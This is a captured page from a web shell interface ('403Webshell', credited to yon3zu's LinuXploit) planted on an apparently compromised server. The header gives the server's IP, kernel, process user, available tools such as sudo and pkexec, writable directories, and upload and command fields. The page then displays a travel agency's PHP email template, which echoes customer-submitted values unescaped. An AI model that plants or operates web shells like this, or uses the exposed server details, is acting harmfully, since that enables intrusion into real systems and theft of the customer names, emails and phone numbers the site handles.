403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/indoasiaholidays.com/application/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/indoasiaholidays.com/application/views/tmx_mail_template.phtml
<?php
$param = $this->param;



$FullName = (isset($param['customer_name']) && !empty($param['customer_name'])) ? $param['customer_name'] : '';
$EmailId = (isset($param['customer_email']) && !empty($param['customer_email'])) ? $param['customer_email'] : '';
$Contacts = (isset($param['customer_phone']) && !empty($param['customer_phone'])) ? $param['customer_phone'] : '';

$from_destination = explode('(', $param['from_destination']);
$fromCity = (isset($from_destination[0]) && $from_destination[0] != '' ) ? $from_destination[0] : '';
$depart_date = (isset($param['depart_date']) && $param['depart_date'] != '' ) ? $param['depart_date'] : '';
$destination = implode(', ', $param['destination']);
$destinations = (isset($param['destination']) && !empty($param['destination'])) ? $destination : '';
$adult = 0;
$child = 0;
$infant = 0;
foreach ($param['adult'] as $adultKey => $adultValue) {
    $adult = $adult + $adultValue;
    $child = $child + $param['child'][$adultKey];
    $infant = $infant + $param['infant'][$adultKey];
}
$totalPax = $adult + $child +$infant;
$airfares = (isset($param['airfares']) && $param['airfares'] == 1) ? 'Yes' : 'No';
?>
<table width="100%" border="0" align="center" cellpadding="15" cellspacing="0">
    <tr>
        <td style="">
            <table width="100%" border="0" cellspacing="0" cellpadding="0">

                <tr>
                    <td valign="top" bgcolor="#FFFFFF"><table width="95%" border="0" align="center" cellpadding="0" cellspacing="0">
                            <tr>
                                <td><img src="<?php echo $this->siteUrl; ?>public/img/logo.png" /></td>
                            </tr>
                            <tr>
                                <td>&nbsp;</td>
                            </tr>
                            <tr>
                                <td><span style="font:normal 14px Tahoma, Geneva, sans-serif;">Hi <?php echo ($FullName != '') ? $FullName : 'User';?>,</span></td>
                            </tr>
                            <tr>
                                <td>&nbsp;</td>
                            </tr>
                            <tr>
                                <td ><span style="font:normal 14px Tahoma, Geneva, sans-serif;">Greetings from Indo Asia Holidays!</span></td>
                            </tr>
                            <tr>
                                <td>&nbsp;</td>
                            </tr>
                            <tr>
                                <td ><span style="font:normal 14px Tahoma, Geneva, sans-serif;">Thank you for sharing your travel requirement with us. Please find below a copy of your requirements.</span></td>
                            </tr>
                            <tr>
                                <td>&nbsp;</td>
                            </tr>
                            <tr>
                                <td>
                                    <table width="80%" border="1px" cellspacing="0" cellpadding="0">
                                        <tr>
                                            <td width="100%" align="left" valign="top">
                                                <table width="100%" border="0" cellspacing="10" cellpadding="0">
                                                    <tr>
                                                        <td style="font:bold 14px;"><b>Query details:-</b></td>
                                                    </tr>

                                                    <tr>
                                                        <td width="20%" style="font:normal 14px;">Customer Name :</td>
                                                        <td width="30%" style="font:normal 14px;"><?php echo ($FullName != '') ? $FullName : 'NA';?></td>
                                                        <td width="20%" style=" font:normal 14px;">Email : </td>
                                                        <td width="30%" style=" font:normal 14px;"><?php echo ($EmailId != '') ? $EmailId : 'NA';?></td>
                                                    </tr>
                                                    
                                                    <tr>
                                                        <td width="20%" style="font:normal 14px;">Number : </td>
                                                        <td width="30%" style="font:normal 14px;"><?php echo ($Contacts != '') ? $Contacts : 'NA';?></td>
                                                        <td width="20%" style="font:normal 14px;">From City :- </td>
                                                        <td width="30%" style="font:normal 14px;"><?php echo $fromCity; ?> </td>
                                                    </tr>

                                                   
                                                    <tr>
                                                        <td width="20%" style="font:normal 14px;">Departure date :- </td>
                                                        <td width="30%" style="font:normal 14px;"> <?php echo $depart_date; ?> </td>
                                                        <td width="20%" style="font:normal 14px;">Destinations :-  </td>
                                                        <td width="30%" style="font:normal 14px;"><?php echo $destinations; ?> </td>
                                                    </tr>
                                                    
                                                    <tr>
                                                        <td width="20%" style="font:normal 14px;">No. of PAX :-  </td>
                                                        <td width="30%" style="font:normal 14px;"><?php echo $totalPax; ?> </td>
                                                        <td width="20%" style="font:normal 14px;">Airfares needed :-  </td>
                                                        <td width="30%" style="font:normal 14px;"><?php echo $airfares; ?></td>
                                                    </tr>
                                                   <tr>
                                                        <td>&nbsp;</td>
                                                    </tr>
                                                    <tr>
                                                        <td width="20%" style="font:normal 14px;">Room details :- </td>
                                                        <td colspan="3" width="80%" style="font:normal 14px;">
                                                            <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                                                <?php for ($m = 0; $m < $param['room'][0]; $m++) { ?>
                                                                    <tr>
                                                                        <td style="font:normal 14px;">Room <?php echo ($m + 1) ?> :- Adults:<?php echo $param['adult'][$m] ?>, Child:<?php echo $param['child'][$m]; ?>, Infant:<?php echo $param['infant'][$m]; ?></td>
                                                                    </tr>
                                                                <?php } ?>                          
                                                            </table>
                                                        </td>
                                                    </tr>
                                                    <tr>
                                                        <td>&nbsp;</td>
                                                    </tr>
                                                    <tr>
                                                        <td width="100%" colspan="4">
                                                            <table width="100%" border="1" cellspacing="0" cellpadding="5">
                                                                <tr>
                                                                    <th width="15" style="font:normal 14px;">Destination</th>
                                                                    <th width="5" style="font:normal 14px;">Nights</th>
                                                                    <th width="20" style="font:normal 14px;">Hotel Preference</th>
                                                                    <th width="60" style="font:normal 14px;">Sightseeings</th>
                                                                    <th width="20" style="font:normal 14px;">Transfer Mode</th>
                                                                </tr>
                                                                <?php
                                                                foreach ($param['destination'] as $desKey => $desValue) {
                                                                    $selected_Sightname = explode(',', $param['selected_Sightname'][$desKey]);

                                                                    $selected_SightnameName = '';
                                                                    foreach ($selected_Sightname as $sightKey => $sightVlue) {
                                                                        if($sightVlue != ''){
                                                                        $selected_SightnameName .= '<li type="circle">' . $sightVlue . '</li>';
                                                                        }
                                                                    }
                                                                    ?>
                                                                    <tr>
                                                                        <td width="15" style="font:normal 14px;text-align: center;"><?php echo $desValue; ?></td>
                                                                        <td width="5" style="font:normal 14px;text-align: center;"><?php echo $param['nights'][$desKey]; ?></td>
                                                                        <td width="20" style="font:normal 14px;text-align: center;"><?php echo $param['next_hotel'][$desKey]; ?></td>
                                                                        <td width="60" style="font:normal 14px;"><ul><?php echo ($selected_SightnameName != '') ? $selected_SightnameName : 'NA'; ?></ul></td>
                                                                        <td width="20" style="font:normal 14px;text-align: center;"><?php echo (isset($param['next_des'][$desKey]) && $param['next_des'][$desKey] != '') ? $param['next_des'][$desKey] : 'NA'; ?></td>
                                                                    </tr>
                                                                <?php } ?>

                                                            </table> 
                                                        </td>
                                                    </tr>
                                                    <?php if(isset($param['other_prefrence']) && $param['other_prefrence'] != ''){?>
                                                    <tr>
                                                        <td colspan="4"><span style="font:normal 14px Tahoma, Geneva, sans-serif;"><b>Other Preference :- </b><p style="text-align: justify;"><?php echo $param['other_prefrence'];?></p></span></td>
                                                    </tr>
                                                    <?php } ?>
                                                </table> 
                                            </td>

                                        </tr>
                                    </table>    
                                </td>
                            </tr>
                            <tr>
                                <td>&nbsp;</td>
                            </tr>
                            <tr>
                                <td>&nbsp;</td>
                            </tr>
                            <tr>
                                <td ><span style="font:normal 14px Tahoma, Geneva, sans-serif;">We will call you as quickly as possible with best options for you. If you require immediate assistance,<br> please call us on <?php echo $this->contactDetail_mail['mobile']; ?>.</span></td>
                            </tr>
                            <tr>
                                <td>&nbsp;</td>
                            </tr>
                            <tr>
                                <td>Thanks</td>
                            </tr>
                            <tr>
                                <td>&nbsp;</td>
                            </tr>
                            <tr>
                                <td ><span style="font:normal 14px Tahoma, Geneva, sans-serif;">Indo Asia Holidays</span></td>
                            </tr>
                            <tr>
                                <td ><span style="font:normal 14px Tahoma, Geneva, sans-serif;"><?php echo $this->siteUrl;?></span></td>
                            </tr>
                            <tr>
                                <td ><span style="font:normal 14px Tahoma, Geneva, sans-serif;">Contact Number :- <?php echo $this->contactDetail_mail['mobile']; ?></span></td>
                            </tr>
                            <tr>
                                <td ><span style="font:normal 14px Tahoma, Geneva, sans-serif;">Email :- <?php echo $this->contactDetail_mail['email']; ?></span></td>
                            </tr>
                            <tr>
                                <td>&nbsp;</td>
                            </tr>
                        </table></td>
                </tr>

            </table></td>
    </tr>
</table>
<div style="text-align:center;margin-top:5px;">
     <img style="width:100px;" src="<?php echo $this->baseUrl;?>public/img/logo.png" />
  </div>


Youez - 2016 - github.com/yon3zu
LinuXploit